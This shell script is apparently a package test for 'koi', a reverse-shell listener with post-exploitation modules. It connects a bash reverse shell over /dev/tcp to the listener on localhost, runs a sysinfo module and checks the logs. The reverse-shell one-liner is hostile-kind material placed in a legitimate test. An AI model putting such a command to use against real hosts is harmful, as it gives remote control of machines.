#!/bin/sh
# Start the koi listener on localhost, connect a plain bash reverse shell to
# it and drive the listener through its command prompt: list the sessions,
# run the sysinfo post-exploitation module on the shell, then quit. The
# session log is replayed with koireview.
set -u

WORKDIR="${AUTOPKGTEST_TMP:-$(mktemp -d)}"
export HOME="$WORKDIR/home"
mkdir -p "$HOME"
cd "$WORKDIR"

PORT=$(python3 -c 'import socket; s = socket.socket(); s.bind(("127.0.0.1", 0)); print(s.getsockname()[1])')
MARKER="koi-autopkgtest-$$"
PASSED=0
FAILED=0
SHELL_PID=

cleanup() {
    [ -n "$SHELL_PID" ] && kill "$SHELL_PID" 2>/dev/null
    true
}
trap cleanup EXIT

check() {
    desc="$1"
    shift
    if "$@" >/dev/null 2>&1; then
        echo "PASS: $desc"
        PASSED=$((PASSED + 1))
    else
        echo "FAIL: $desc"
        FAILED=$((FAILED + 1))
    fi
}

# Wait (up to 30 s) until koi printed $1
wait_for() {
    for _ in $(seq 60); do
        grep -qF -- "$1" koi.out 2>/dev/null && return 0
        sleep 0.5
    done
    return 0
}

# Commands typed at the koi prompt, each one sent once koi printed what the
# previous step needs.
commands() {
    wait_for "New session"
    echo "ls"
    echo "run sysinfo 1"
    wait_for "System Info #1"
    echo "exit"
}

# The reverse shell: connects to koi once the listener is up
(
    for _ in $(seq 20); do
        sleep 0.5
        bash -c "export MARKER=$MARKER; exec bash -i >& /dev/tcp/127.0.0.1/$PORT 0>&1" 2>/dev/null && exit 0
    done
) &
SHELL_PID=$!

echo "### koi --host 127.0.0.1 --port $PORT"
commands | timeout 60 koi --host 127.0.0.1 --port "$PORT" --local --no-mcp >koi.out 2>&1
RC=$?
cat koi.out
echo

# Strip colours to make matching easier
sed 's/\x1b\[[0-9;]*m//g' koi.out >koi.txt

check "koi exited cleanly" test "$RC" -eq 0
check "listener started on port $PORT" grep -q "Listening on 127.0.0.1:$PORT" koi.txt
check "reverse shell registered as session #1" grep -q "New session #1 *127.0.0.1:[0-9]* \[linux\]" koi.txt
check "ls lists the session" grep -q "#1 *. *127.0.0.1:[0-9]* : \[linux\]" koi.txt
check "sysinfo module ran on the session" grep -q "System Info #1" koi.txt
check "sysinfo reported the target kernel" grep -qF "$(uname -r)" koi.txt
check "sysinfo reported the target user" grep -qF "uid=$(id -u)" koi.txt

echo "### koireview"
koireview >koireview.out 2>&1
cat koireview.out
LOG=$(find "$HOME/.koi/logs" -type f 2>/dev/null | head -n1)
check "session log was recorded" test -n "$LOG"

echo
echo "$PASSED passed, $FAILED failed"
[ "$FAILED" -eq 0 ]
